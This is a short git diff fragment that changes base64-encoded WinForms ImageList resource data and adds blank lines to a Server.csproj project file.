Af8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/ATMBAAHM + Af8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/AWYBAAEh + AQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEAAfAB+wH/ + AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/ggABGgGZC1IBGjIAAXQBGwEa + BJoFegHDAVIyAAFSAfYBoAKaA3oEWQHDAVIyAAFSAfYBwwGgApoDegNZAcMBUjIAAVIB9gLDAqABmgN6 + AlkBwwFSMgABUgL/A/YBwwKaA3oBwwFSMgABUgH2ApoBegEbBvYB/wFYMgABWAH2A5oCegKaA3oB9gFY + MgABWAH2A5oBGgb2Af8BeTIAAVgF/wH2BHkCmQEbMgAHeQf/8QABQgFNAT4HAAE+AwABKAMAAUADAAEQ + AwABAQEAAQEFAAGAFwAD/wEAAv8GAAL/BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEB + BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgAC/wYAAv8GAAL/BgAL @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAdgBAAHYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAASABAQEgAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Server.csproj b/Server/Server.csproj index e251c3e2..d76e4c5d 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -143,12 +143,14 @@ + +